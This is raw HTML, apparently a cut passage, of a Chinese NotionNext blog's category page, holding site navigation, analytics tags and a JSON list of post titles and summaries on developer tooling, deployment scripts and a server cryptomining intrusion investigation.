src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>知行合一 | Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="知行合一 | Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category/知行合一"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="知行合一 | Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category/%5Bcategory%5D-870f14c329d4c7e1.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E7%9F%A5%E8%A1%8C%E5%90%88%E4%B8%80/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/category/%E7%9F%A5%E8%A1%8C%E5%90%88%E4%B8%80/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 